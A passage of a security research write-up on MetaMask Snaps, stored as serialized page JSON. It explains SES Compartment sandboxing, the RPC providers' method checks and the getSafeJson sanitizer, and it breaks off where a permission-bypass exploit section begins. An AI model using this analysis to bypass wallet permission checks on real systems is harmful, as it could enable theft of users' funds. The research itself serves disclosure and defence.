snapModule);\n});\n",[40001],{"type":23,"tag":154,"props":40002,"children":40003},{"__ignoreMap":7},[40004,40045,40075,40112],{"type":23,"tag":504,"props":40005,"children":40006},{"class":5016,"line":5017},[40007,40011,40015,40019,40024,40028,40032,40037,40041],{"type":23,"tag":504,"props":40008,"children":40009},{"style":5067},[40010],{"type":29,"value":34972},{"type":23,"tag":504,"props":40012,"children":40013},{"style":5030},[40014],{"type":29,"value":37773},{"type":23,"tag":504,"props":40016,"children":40017},{"style":5058},[40018],{"type":29,"value":357},{"type":23,"tag":504,"props":40020,"children":40021},{"style":5139},[40022],{"type":29,"value":40023},"executeInSnapContext",{"type":23,"tag":504,"props":40025,"children":40026},{"style":5058},[40027],{"type":29,"value":603},{"type":23,"tag":504,"props":40029,"children":40030},{"style":5041},[40031],{"type":29,"value":38077},{"type":23,"tag":504,"props":40033,"children":40034},{"style":5058},[40035],{"type":29,"value":40036},", () ",{"type":23,"tag":504,"props":40038,"children":40039},{"style":5030},[40040],{"type":29,"value":16868},{"type":23,"tag":504,"props":40042,"children":40043},{"style":5058},[40044],{"type":29,"value":5333},{"type":23,"tag":504,"props":40046,"children":40047},{"class":5016,"line":4868},[40048,40053,40057,40062,40066,40071],{"type":23,"tag":504,"props":40049,"children":40050},{"style":5041},[40051],{"type":29,"value":40052},"    compartment",{"type":23,"tag":504,"props":40054,"children":40055},{"style":5058},[40056],{"type":29,"value":357},{"type":23,"tag":504,"props":40058,"children":40059},{"style":5139},[40060],{"type":29,"value":40061},"evaluate",{"type":23,"tag":504,"props":40063,"children":40064},{"style":5058},[40065],{"type":29,"value":603},{"type":23,"tag":504,"props":40067,"children":40068},{"style":5041},[40069],{"type":29,"value":40070},"sourceCode",{"type":23,"tag":504,"props":40072,"children":40073},{"style":5058},[40074],{"type":29,"value":5888},{"type":23,"tag":504,"props":40076,"children":40077},{"class":5016,"line":4876},[40078,40082,40086,40091,40095,40099,40103,40108],{"type":23,"tag":504,"props":40079,"children":40080},{"style":5030},[40081],{"type":29,"value":38121},{"type":23,"tag":504,"props":40083,"children":40084},{"style":5058},[40085],{"type":29,"value":357},{"type":23,"tag":504,"props":40087,"children":40088},{"style":5139},[40089],{"type":29,"value":40090},"registerSnapExports",{"type":23,"tag":504,"props":40092,"children":40093},{"style":5058},[40094],{"type":29,"value":603},{"type":23,"tag":504,"props":40096,"children":40097},{"style":5041},[40098],{"type":29,"value":38077},{"type":23,"tag":504,"props":40100,"children":40101},{"style":5058},[40102],{"type":29,"value":4367},{"type":23,"tag":504,"props":40104,"children":40105},{"style":5041},[40106],{"type":29,"value":40107},"snapModule",{"type":23,"tag":504,"props":40109,"children":40110},{"style":5058},[40111],{"type":29,"value":5888},{"type":23,"tag":504,"props":40113,"children":40114},{"class":5016,"line":5099},[40115],{"type":23,"tag":504,"props":40116,"children":40117},{"style":5058},[40118],{"type":29,"value":37394},{"type":23,"tag":32,"props":40120,"children":40121},{},[40122,40124,40130,40131,40137,40138,40144],{"type":29,"value":40123},"According to the documentation, the snap must contain one of the following function exports: ",{"type":23,"tag":154,"props":40125,"children":40127},{"className":40126},[],[40128],{"type":29,"value":40129},"onRpcRequest",{"type":29,"value":4367},{"type":23,"tag":154,"props":40132,"children":40134},{"className":40133},[],[40135],{"type":29,"value":40136},"onTransaction",{"type":29,"value":15180},{"type":23,"tag":154,"props":40139,"children":40141},{"className":40140},[],[40142],{"type":29,"value":40143},"onCronjob",{"type":29,"value":357},{"type":23,"tag":32,"props":40146,"children":40147},{},[40148,40150,40155],{"type":29,"value":40149},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":23,"tag":154,"props":40151,"children":40153},{"className":40152},[],[40154],{"type":29,"value":39474},{"type":29,"value":40156}," environment of that Compartment.",{"type":23,"tag":32,"props":40158,"children":40159},{},[40160],{"type":29,"value":40161},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":23,"tag":24,"props":40163,"children":40165},{"id":40164},"vulnerability-research",[40166],{"type":29,"value":40167},"Vulnerability research",{"type":23,"tag":320,"props":40169,"children":40171},{"id":40170},"possible-attacks",[40172],{"type":29,"value":40173},"Possible attacks",{"type":23,"tag":32,"props":40175,"children":40176},{},[40177],{"type":29,"value":40178},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":23,"tag":1022,"props":40180,"children":40181},{},[40182,40187,40192,40197],{"type":23,"tag":143,"props":40183,"children":40184},{},[40185],{"type":29,"value":40186},"Broken SES Container isolation",{"type":23,"tag":143,"props":40188,"children":40189},{},[40190],{"type":29,"value":40191},"Insecure endowments in Containers",{"type":23,"tag":143,"props":40193,"children":40194},{},[40195],{"type":29,"value":40196},"Incorrect RPC permission checks",{"type":23,"tag":143,"props":40198,"children":40199},{},[40200],{"type":29,"value":40201},"Insecure snap installation/update",{"type":23,"tag":32,"props":40203,"children":40204},{},[40205],{"type":29,"value":40206},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":23,"tag":32,"props":40208,"children":40209},{},[40210],{"type":29,"value":40211},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":23,"tag":320,"props":40213,"children":40215},{"id":40214},"rpc-interfaces-endowments",[40216],{"type":29,"value":40217},"RPC interfaces endowments",{"type":23,"tag":20944,"props":40219,"children":40221},{"id":40220},"providers-limitations",[40222],{"type":29,"value":40223},"Providers limitations",{"type":23,"tag":32,"props":40225,"children":40226},{},[40227,40229,40235,40236,40241,40243,40250],{"type":29,"value":40228},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":23,"tag":154,"props":40230,"children":40232},{"className":40231},[],[40233],{"type":29,"value":40234},"snap",{"type":29,"value":4478},{"type":23,"tag":154,"props":40237,"children":40239},{"className":40238},[],[40240],{"type":29,"value":33472},{"type":29,"value":40242}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":23,"tag":68,"props":40244,"children":40247},{"href":40245,"rel":40246},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[72],[40248],{"type":29,"value":40249},"methods",{"type":29,"value":6533},{"type":23,"tag":4743,"props":40252,"children":40254},{"className":37670,"code":40253,"language":37672,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[40255],{"type":23,"tag":154,"props":40256,"children":40257},{"__ignoreMap":7},[40258,40298,40306,40318,40388,40449,40461,40469,40480,40520,40550,40562,40587,40594,40602,40609,40647],{"type":23,"tag":504,"props":40259,"children":40260},{"class":5016,"line":5017},[40261,40266,40271,40276,40280,40285,40289,40294],{"type":23,"tag":504,"props":40262,"children":40263},{"style":5067},[40264],{"type":29,"value":40265},"export",{"type":23,"tag":504,"props":40267,"children":40268},{"style":5030},[40269],{"type":29,"value":40270}," function",{"type":23,"tag":504,"props":40272,"children":40273},{"style":5139},[40274],{"type":29,"value":40275}," assertSnapOutboundRequest",{"type":23,"tag":504,"props":40277,"children":40278},{"style":5058},[40279],{"type":29,"value":603},{"type":23,"tag":504,"props":40281,"children":40282},{"style":5041},[40283],{"type":29,"value":40284},"args",{"type":23,"tag":504,"props":40286,"children":40287},{"style":5047},[40288],{"type":29,"value":6533},{"type":23,"tag":504,"props":40290,"children":40291},{"style":5467},[40292],{"type":29,"value":40293}," RequestArguments",{"type":23,"tag":504,"props":40295,"children":40296},{"style":5058},[40297],{"type":29,"value":16850},{"type":23,"tag":504,"props":40299,"children":40300},{"class":5016,"line":4868},[40301],{"type":23,"tag":504,"props":40302,"children":40303},{"style":5021},[40304],{"type":29,"value":40305},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":23,"tag":504,"props":40307,"children":40308},{"class":5016,"line":4876},[40309,40314],{"type":23,"tag":504,"props":40310,"children":40311},{"style":5139},[40312],{"type":29,"value":40313},"  assert",{"type":23,"tag":504,"props":40315,"children":40316},{"style":5058},[40317],{"type":29,"value":5512},{"type":23,"tag":504,"props":40319,"children":40320},{"class":5016,"line":5099},[40321,40326,40330,40335,40339,40344,40348,40353,40357,40361,40365,40370,40374,40379,40383],{"type":23,"tag":504,"props":40322,"children":40323},{"style":5467},[40324],{"type":29,"value":40325},"    String",{"type":23,"tag":504,"props":40327,"children":40328},{"style":5058},[40329],{"type":29,"value":357},{"type":23,"tag":504,"props":40331,"children":40332},{"style":5041},[40333],{"type":29,"value":40334},"prototype",{"type":23,"tag":504,"props":40336,"children":40337},{"style":5058},[40338],{"type":29,"value":357},{"type":23,"tag":504,"props":40340,"children":40341},{"style":5041},[40342],{"type":29,"value":40343},"startsWith",{"type":23,"tag":504,"props":40345,"children":40346},{"style":5058},[40347],{"type":29,"value":357},{"type":23,"tag":504,"props":40349,"children":40350},{"style":5139},[40351],{"type":29,"value":40352},"call",{"type":23,"tag":504,"props":40354,"children":40355},{"style":5058},[40356],{"type":29,"value":603},{"type":23,"tag":504,"props":40358,"children":40359},{"style":5041},[40360],{"type":29,"value":40284},{"type":23,"tag":504,"props":40362,"children":40363},{"style":5058},[40364],{"type":29,"value":357},{"type":23,"tag":504,"props":40366,"children":40367},{"style":5041},[40368],{"type":29,"value":40369},"method",{"type":23,"tag":504,"props":40371,"children":40372},{"style":5058},[40373],{"type":29,"value":4367},{"type":23,"tag":504,"props":40375,"children":40376},{"style":6297},[40377],{"type":29,"value":40378},"'wallet_'",{"type":23,"tag":504,"props":40380,"children":40381},{"style":5058},[40382],{"type":29,"value":5128},{"type":23,"tag":504,"props":40384,"children":40385},{"style":5047},[40386],{"type":29,"value":40387},"||\n",{"type":23,"tag":504,"props":40389,"children":40390},{"class":5016,"line":5203},[40391,40396,40400,40404,40408,40412,40416,40420,40424,40428,40432,40436,40440,40445],{"type":23,"tag":504,"props":40392,"children":40393},{"style":5467},[40394],{"type":29,"value":40395},"      String",{"type":23,"tag":504,"props":40397,"children":40398},{"style":5058},[40399],{"type":29,"value":357},{"type":23,"tag":504,"props":40401,"children":40402},{"style":5041},[40403],{"type":29,"value":40334},{"type":23,"tag":504,"props":40405,"children":40406},{"style":5058},[40407],{"type":29,"value":357},{"type":23,"tag":504,"props":40409,"children":40410},{"style":5041},[40411],{"type":29,"value":40343},{"type":23,"tag":504,"props":40413,"children":40414},{"style":5058},[40415],{"type":29,"value":357},{"type":23,"tag":504,"props":40417,"children":40418},{"style":5139},[40419],{"type":29,"value":40352},{"type":23,"tag":504,"props":40421,"children":40422},{"style":5058},[40423],{"type":29,"value":603},{"type":23,"tag":504,"props":40425,"children":40426},{"style":5041},[40427],{"type":29,"value":40284},{"type":23,"tag":504,"props":40429,"children":40430},{"style":5058},[40431],{"type":29,"value":357},{"type":23,"tag":504,"props":40433,"children":40434},{"style":5041},[40435],{"type":29,"value":40369},{"type":23,"tag":504,"props":40437,"children":40438},{"style":5058},[40439],{"type":29,"value":4367},{"type":23,"tag":504,"props":40441,"children":40442},{"style":6297},[40443],{"type":29,"value":40444},"'snap_'",{"type":23,"tag":504,"props":40446,"children":40447},{"style":5058},[40448],{"type":29,"value":8780},{"type":23,"tag":504,"props":40450,"children":40451},{"class":5016,"line":5308},[40452,40457],{"type":23,"tag":504,"props":40453,"children":40454},{"style":6297},[40455],{"type":29,"value":40456},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":23,"tag":504,"props":40458,"children":40459},{"style":5058},[40460],{"type":29,"value":5557},{"type":23,"tag":504,"props":40462,"children":40463},{"class":5016,"line":5336},[40464],{"type":23,"tag":504,"props":40465,"children":40466},{"style":5058},[40467],{"type":29,"value":40468},"  );\n",{"type":23,"tag":504,"props":40470,"children":40471},{"class":5016,"line":5349},[40472,40476],{"type":23,"tag":504,"props":40473,"children":40474},{"style":5139},[40475],{"type":29,"value":40313},{"type":23,"tag":504,"props":40477,"children":40478},{"style":5058},[40479],{"type":29,"value":5512},{"type":23,"tag":504,"props":40481,"children":40482},{"class":5016,"line":5367},[40483,40487,40492,40496,40500,40504,40508,40512,40516],{"type":23,"tag":504,"props":40484,"children":40485},{"style":5047},[40486],{"type":29,"value":23022},{"type":23,"tag":504,"props":40488,"children":40489},{"style":5041},[40490],{"type":29,"value":40491},"BLOCKED_RPC_METHODS",{"type":23,"tag":504,"props":40493,"children":40494},{"style":5058},[40495],{"type":29,"value":357},{"type":23,"tag":504,"props":40497,"children":40498},{"style":5139},[40499],{"type":29,"value":37237},{"type":23,"tag":504,"props":40501,"children":40502},{"style":5058},[40503],{"type":29,"value":603},{"type":23,"tag":504,"props":40505,"children":40506},{"style":5041},[40507],{"type":29,"value":40284},{"type":23,"tag":504,"props":40509,"children":40510},{"style":5058},[40511],{"type":29,"value":357},{"type":23,"tag":504,"props":40513,"children":40514},{"style":5041},[40515],{"type":29,"value":40369},{"type":23,"tag":504,"props":40517,"children":40518},{"style":5058},[40519],{"type":29,"value":8780},{"type":23,"tag":504,"props":40521,"children":40522},{"class":5016,"line":5388},[40523,40528,40532,40537,40541,40546],{"type":23,"tag":504,"props":40524,"children":40525},{"style":5041},[40526],{"type":29,"value":40527},"    ethErrors",{"type":23,"tag":504,"props":40529,"children":40530},{"style":5058},[40531],{"type":29,"value":357},{"type":23,"tag":504,"props":40533,"children":40534},{"style":5041},[40535],{"type":29,"value":40536},"rpc",{"type":23,"tag":504,"props":40538,"children":40539},{"style":5058},[40540],{"type":29,"value":357},{"type":23,"tag":504,"props":40542,"children":40543},{"style":5139},[40544],{"type":29,"value":40545},"methodNotFound",{"type":23,"tag":504,"props":40547,"children":40548},{"style":5058},[40549],{"type":29,"value":17187},{"type":23,"tag":504,"props":40551,"children":40552},{"class":5016,"line":5397},[40553,40558],{"type":23,"tag":504,"props":40554,"children":40555},{"style":5041},[40556],{"type":29,"value":40557},"      data:",{"type":23,"tag":504,"props":40559,"children":40560},{"style":5058},[40561],{"type":29,"value":5333},{"type":23,"tag":504,"props":40563,"children":40564},{"class":5016,"line":5649},[40565,40570,40575,40579,40583],{"type":23,"tag":504,"props":40566,"children":40567},{"style":5041},[40568],{"type":29,"value":40569},"        method:",{"type":23,"tag":504,"props":40571,"children":40572},{"style":5041},[40573],{"type":29,"value":40574}," args",{"type":23,"tag":504,"props":40576,"children":40577},{"style":5058},[40578],{"type":29,"value":357},{"type":23,"tag":504,"props":40580,"children":40581},{"style":5041},[40582],{"type":29,"value":40369},{"type":23,"tag":504,"props":40584,"children":40585},{"style":5058},[40586],{"type":29,"value":5557},{"type":23,"tag":504,"props":40588,"children":40589},{"class":5016,"line":5666},[40590],{"type":23,"tag":504,"props":40591,"children":40592},{"style":5058},[40593],{"type":29,"value":39256},{"type":23,"tag":504,"props":40595,"children":40596},{"class":5016,"line":5683},[40597],{"type":23,"tag":504,"props":40598,"children":40599},{"style":5058},[40600],{"type":29,"value":40601},"    }),\n",{"type":23,"tag":504,"props":40603,"children":40604},{"class":5016,"line":5696},[40605],{"type":23,"tag":504,"props":40606,"children":40607},{"style":5058},[40608],{"type":29,"value":40468},{"type":23,"tag":504,"props":40610,"children":40611},{"class":5016,"line":5705},[40612,40617,40621,40625,40629,40634,40638,40643],{"type":23,"tag":504,"props":40613,"children":40614},{"style":5139},[40615],{"type":29,"value":40616},"  assertStruct",{"type":23,"tag":504,"props":40618,"children":40619},{"style":5058},[40620],{"type":29,"value":603},{"type":23,"tag":504,"props":40622,"children":40623},{"style":5041},[40624],{"type":29,"value":40284},{"type":23,"tag":504,"props":40626,"children":40627},{"style":5058},[40628],{"type":29,"value":4367},{"type":23,"tag":504,"props":40630,"children":40631},{"style":5041},[40632],{"type":29,"value":40633},"JsonStruct",{"type":23,"tag":504,"props":40635,"children":40636},{"style":5058},[40637],{"type":29,"value":4367},{"type":23,"tag":504,"props":40639,"children":40640},{"style":6297},[40641],{"type":29,"value":40642},"'Provided value is not JSON-RPC compatible'",{"type":23,"tag":504,"props":40644,"children":40645},{"style":5058},[40646],{"type":29,"value":5888},{"type":23,"tag":504,"props":40648,"children":40649},{"class":5016,"line":5728},[40650],{"type":23,"tag":504,"props":40651,"children":40652},{"style":5058},[40653],{"type":29,"value":5965},{"type":23,"tag":32,"props":40655,"children":40656},{},[40657,40659,40664,40666,40672,40673,40679],{"type":29,"value":40658},"This function is called by the ",{"type":23,"tag":154,"props":40660,"children":40662},{"className":40661},[],[40663],{"type":29,"value":40234},{"type":29,"value":40665}," RPC provider, so it can only send methods starting with ",{"type":23,"tag":154,"props":40667,"children":40669},{"className":40668},[],[40670],{"type":29,"value":40671},"wallet_",{"type":29,"value":15180},{"type":23,"tag":154,"props":40674,"children":40676},{"className":40675},[],[40677],{"type":29,"value":40678},"snap_",{"type":29,"value":40680},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":23,"tag":32,"props":40682,"children":40683},{},[40684,40686,40691,40693,40698,40700,40706],{"type":29,"value":40685},"On the other hand, the ",{"type":23,"tag":154,"props":40687,"children":40689},{"className":40688},[],[40690],{"type":29,"value":33472},{"type":29,"value":40692}," provider only blocks methods starting with ",{"type":23,"tag":154,"props":40694,"children":40696},{"className":40695},[],[40697],{"type":29,"value":40678},{"type":29,"value":40699}," and the blocked methods. However, it requires the ",{"type":23,"tag":154,"props":40701,"children":40703},{"className":40702},[],[40704],{"type":29,"value":40705},"endowment:ethereum-provider",{"type":29,"value":40707}," permission in the snap manifest.",{"type":23,"tag":20944,"props":40709,"children":40711},{"id":40710},"execution-flow",[40712],{"type":29,"value":40713},"Execution flow",{"type":23,"tag":32,"props":40715,"children":40716},{},[40717,40719,40724,40725,40730,40732,40737,40738,40744],{"type":29,"value":40718},"Both providers (",{"type":23,"tag":154,"props":40720,"children":40722},{"className":40721},[],[40723],{"type":29,"value":40234},{"type":29,"value":4478},{"type":23,"tag":154,"props":40726,"children":40728},{"className":40727},[],[40729],{"type":29,"value":33472},{"type":29,"value":40731},") are built outside the SES container with a ",{"type":23,"tag":154,"props":40733,"children":40735},{"className":40734},[],[40736],{"type":29,"value":33548},{"type":29,"value":1698},{"type":23,"tag":68,"props":40739,"children":40742},{"href":40740,"rel":40741},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[72],[40743],{"type":29,"value":33432},{"type":29,"value":6533},{"type":23,"tag":4743,"props":40746,"children":40748},{"className":37987,"code":40747,"language":37989,"meta":7,"style":7},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    };\n",[40749],{"type":23,"tag":154,"props":40750,"children":40751},{"__ignoreMap":7},[40752,40799,40824,40857,40892,40904,40924,40962,40982,40989,41006,41039,41046],{"type":23,"tag":504,"props":40753,"children":40754},{"class":5016,"line":5017},[40755,40759,40763,40767,40771,40775,40779,40783,40787,40791,40795],{"type":23,"tag":504,"props":40756,"children":40757},{"style":5030},[40758],{"type":29,"value":38245},{"type":23,"tag":504,"props":40760,"children":40761},{"style":5139},[40762],{"type":29,"value":33437},{"type":23,"tag":504,"props":40764,"children":40765},{"style":5047},[40766],{"type":29,"value":5050},{"type":23,"tag":504,"props":40768,"children":40769},{"style":5030},[40770],{"type":29,"value":38422},{"type":23,"tag":504,"props":40772,"children":40773},{"style":5058},[40774],{"type":29,"value":5110},{"type":23,"tag":504,"props":40776,"children":40777},{"style":5041},[40778],{"type":29,"value":40284},{"type":23,"tag":504,"props":40780,"children":40781},{"style":5047},[40782],{"type":29,"value":6533},{"type":23,"tag":504,"props":40784,"children":40785},{"style":5467},[40786],{"type":29,"value":40293},{"type":23,"tag":504,"props":40788,"children":40789},{"style":5058},[40790],{"type":29,"value":5128},{"type":23,"tag":504,"props":40792,"children":40793},{"style":5030},[40794],{"type":29,"value":16868},{"type":23,"tag":504,"props":40796,"children":40797},{"style":5058},[40798],{"type":29,"value":5333},{"type":23,"tag":504,"props":40800,"children":40801},{"class":5016,"line":4868},[40802,40807,40811,40815,40819],{"type":23,"tag":504,"props":40803,"children":40804},{"style":5139},[40805],{"type":29,"value":40806},"      assertSnapOutboundRequest",{"type":23,"tag":504,"props":40808,"children":40809},{"style":5058},[40810],{"type":29,"value":603},{"type":23,"tag":504,"props":40812,"children":40813},{"style":5041},[40814],{"type":29,"value":40284},{"type":23,"tag":504,"props":40816,"children":40817},{"style":5058},[40818],{"type":29,"value":30407},{"type":23,"tag":504,"props":40820,"children":40821},{"style":5021},[40822],{"type":29,"value":40823},"// or assertEthereumOutboundRequest(args);\n",{"type":23,"tag":504,"props":40825,"children":40826},{"class":5016,"line":4876},[40827,40831,40836,40840,40845,40849,40853],{"type":23,"tag":504,"props":40828,"children":40829},{"style":5030},[40830],{"type":29,"value":33602},{"type":23,"tag":504,"props":40832,"children":40833},{"style":5041},[40834],{"type":29,"value":40835}," sanitizedArgs",{"type":23,"tag":504,"props":40837,"children":40838},{"style":5047},[40839],{"type":29,"value":5050},{"type":23,"tag":504,"props":40841,"children":40842},{"style":5139},[40843],{"type":29,"value":40844}," getSafeJson",{"type":23,"tag":504,"props":40846,"children":40847},{"style":5058},[40848],{"type":29,"value":603},{"type":23,"tag":504,"props":40850,"children":40851},{"style":5041},[40852],{"type":29,"value":40284},{"type":23,"tag":504,"props":40854,"children":40855},{"style":5058},[40856],{"type":29,"value":5888},{"type":23,"tag":504,"props":40858,"children":40859},{"class":5016,"line":5099},[40860,40865,40869,40874,40878,40882,40887],{"type":23,"tag":504,"props":40861,"children":40862},{"style":5030},[40863],{"type":29,"value":40864},"      this",{"type":23,"tag":504,"props":40866,"children":40867},{"style":5058},[40868],{"type":29,"value":357},{"type":23,"tag":504,"props":40870,"children":40871},{"style":5139},[40872],{"type":29,"value":40873},"notify",{"type":23,"tag":504,"props":40875,"children":40876},{"style":5058},[40877],{"type":29,"value":33553},{"type":23,"tag":504,"props":40879,"children":40880},{"style":5041},[40881],{"type":29,"value":33558},{"type":23,"tag":504,"props":40883,"children":40884},{"style":6297},[40885],{"type":29,"value":40886}," 'OutboundRequest'",{"type":23,"tag":504,"props":40888,"children":40889},{"style":5058},[40890],{"type":29,"value":40891}," });\n",{"type":23,"tag":504,"props":40893,"children":40894},{"class":5016,"line":5203},[40895,40900],{"type":23,"tag":504,"props":40896,"children":40897},{"style":5067},[40898],{"type":29,"value":40899},"      try",{"type":23,"tag":504,"props":40901,"children":40902},{"style":5058},[40903],{"type":29,"value":5333},{"type":23,"tag":504,"props":40905,"children":40906},{"class":5016,"line":5308},[40907,40911,40915,40920],{"type":23,"tag":504,"props":40908,"children":40909},{"style":5067},[40910],{"type":29,"value":17791},{"type":23,"tag":504,"props":40912,"children":40913},{"style":5067},[40914],{"type":29,"value":38268},{"type":23,"tag":504,"props":40916,"children":40917},{"style":5139},[40918],{"type":29,"value":40919}," withTeardown",{"type":23,"tag":504,"props":40921,"children":40922},{"style":5058},[40923],{"type":29,"value":5512},{"type":23,"tag":504,"props":40925,"children":40926},{"class":5016,"line":5336},[40927,40932,40936,40941,40945,40950,40954,40958],{"type":23,"tag":504,"props":40928,"children":40929},{"style":5139},[40930],{"type":29,"value":40931},"          originalRequest",{"type":23,"tag":504,"props":40933,"children":40934},{"style":5058},[40935],{"type":29,"value":603},{"type":23,"tag":504,"props":40937,"children":40938},{"style":5041},[40939],{"type":29,"value":40940},"sanitizedArgs",{"type":23,"tag":504,"props":40942,"children":40943},{"style":5067},[40944],{"type":29,"value":10873},{"type":23,"tag":504,"props":40946,"children":40947},{"style":5467},[40948],{"type":29,"value":40949}," unknown",{"type":23,"tag":504,"props":40951,"children":40952},{"style":5067},[40953],{"type":29,"value":10873},{"type":23,"tag":504,"props":40955,"children":40956},{"style":5467},[40957],{"type":29,"value":40293},{"type":23,"tag":504,"props":40959,"children":40960},{"style":5058},[40961],{"type":29,"value":8780},{"type":23,"tag":504,"props":40963,"children":40964},{"class":5016,"line":5349},[40965,40970,40974,40978],{"type":23,"tag":504,"props":40966,"children":40967},{"style":5030},[40968],{"type":29,"value":40969},"          this",{"type":23,"tag":504,"props":40971,"children":40972},{"style":5067},[40973],{"type":29,"value":10873},{"type":23,"tag":504,"props":40975,"children":40976},{"style":5467},[40977],{"type":29,"value":12404},{"type":23,"tag":504,"props":40979,"children":40980},{"style":5058},[40981],{"type":29,"value":5557},{"type":23,"tag":504,"props":40983,"children":40984},{"class":5016,"line":5367},[40985],{"type":23,"tag":504,"props":40986,"children":40987},{"style":5058},[40988],{"type":29,"value":9788},{"type":23,"tag":504,"props":40990,"children":40991},{"class":5016,"line":5388},[40992,40997,41002],{"type":23,"tag":504,"props":40993,"children":40994},{"style":5058},[40995],{"type":29,"value":40996},"      } ",{"type":23,"tag":504,"props":40998,"children":40999},{"style":5067},[41000],{"type":29,"value":41001},"finally",{"type":23,"tag":504,"props":41003,"children":41004},{"style":5058},[41005],{"type":29,"value":5333},{"type":23,"tag":504,"props":41007,"children":41008},{"class":5016,"line":5397},[41009,41014,41018,41022,41026,41030,41035],{"type":23,"tag":504,"props":41010,"children":41011},{"style":5030},[41012],{"type":29,"value":41013},"        this",{"type":23,"tag":504,"props":41015,"children":41016},{"style":5058},[41017],{"type":29,"value":357},{"type":23,"tag":504,"props":41019,"children":41020},{"style":5139},[41021],{"type":29,"value":40873},{"type":23,"tag":504,"props":41023,"children":41024},{"style":5058},[41025],{"type":29,"value":33553},{"type":23,"tag":504,"props":41027,"children":41028},{"style":5041},[41029],{"type":29,"value":33558},{"type":23,"tag":504,"props":41031,"children":41032},{"style":6297},[41033],{"type":29,"value":41034}," 'OutboundResponse'",{"type":23,"tag":504,"props":41036,"children":41037},{"style":5058},[41038],{"type":29,"value":40891},{"type":23,"tag":504,"props":41040,"children":41041},{"class":5016,"line":5649},[41042],{"type":23,"tag":504,"props":41043,"children":41044},{"style":5058},[41045],{"type":29,"value":14710},{"type":23,"tag":504,"props":41047,"children":41048},{"class":5016,"line":5666},[41049],{"type":23,"tag":504,"props":41050,"children":41051},{"style":5058},[41052],{"type":29,"value":41053},"    };\n",{"type":23,"tag":32,"props":41055,"children":41056},{},[41057,41059,41064,41066,41071],{"type":29,"value":41058},"In particular, this function is from the ",{"type":23,"tag":154,"props":41060,"children":41062},{"className":41061},[],[41063],{"type":29,"value":40234},{"type":29,"value":41065}," provider, but the only thing that changes between this and ",{"type":23,"tag":154,"props":41067,"children":41069},{"className":41068},[],[41070],{"type":29,"value":33472},{"type":29,"value":41072}," is the assert function in the first line.",{"type":23,"tag":32,"props":41074,"children":41075},{},[41076],{"type":29,"value":41077},"As we can see in the code, the execution flow follows this pattern:",{"type":23,"tag":139,"props":41079,"children":41080},{},[41081,41093,41098],{"type":23,"tag":143,"props":41082,"children":41083},{},[41084,41086,41091],{"type":29,"value":41085},"Assert if ",{"type":23,"tag":154,"props":41087,"children":41089},{"className":41088},[],[41090],{"type":29,"value":40284},{"type":29,"value":41092}," are valid",{"type":23,"tag":143,"props":41094,"children":41095},{},[41096],{"type":29,"value":41097},"getSafeJson to get sanitizedArgs",{"type":23,"tag":143,"props":41099,"children":41100},{},[41101],{"type":29,"value":41102},"originalRequest(sanitizedArgs)",{"type":23,"tag":32,"props":41104,"children":41105},{},[41106,41108,41114],{"type":29,"value":41107},"Obs: ",{"type":23,"tag":154,"props":41109,"children":41111},{"className":41110},[],[41112],{"type":29,"value":41113},"originalRequest",{"type":29,"value":41115}," makes the RPC call to metamask service worker",{"type":23,"tag":320,"props":41117,"children":41119},{"id":41118},"safe-json-exploit",[41120],{"type":29,"value":41121},"Safe JSON Exploit",{"type":23,"tag":32,"props":41123,"children":41124},{},[41125,41127,41133,41135,41140,41142,41148],{"type":29,"value":41126},"As we dug further into the",{"type":23,"tag":154,"props":41128,"children":41130},{"className":41129},[],[41131],{"type":29,"value":41132},"getSafeJson",{"type":29,"value":41134}," function (defined in ",{"type":23,"tag":154,"props":41136,"children":41138},{"className":41137},[],[41139],{"type":29,"value":39353},{"type":29,"value":41141}," package) we discovered the following ",{"type":23,"tag":68,"props":41143,"children":41146},{"href":41144,"rel":41145},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[72],[41147],{"type":29,"value":154},{"type":29,"value":6533},{"type":23,"tag":4743,"props":41150,"children":41152},{"className":37670,"code":41151,"language":37672,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  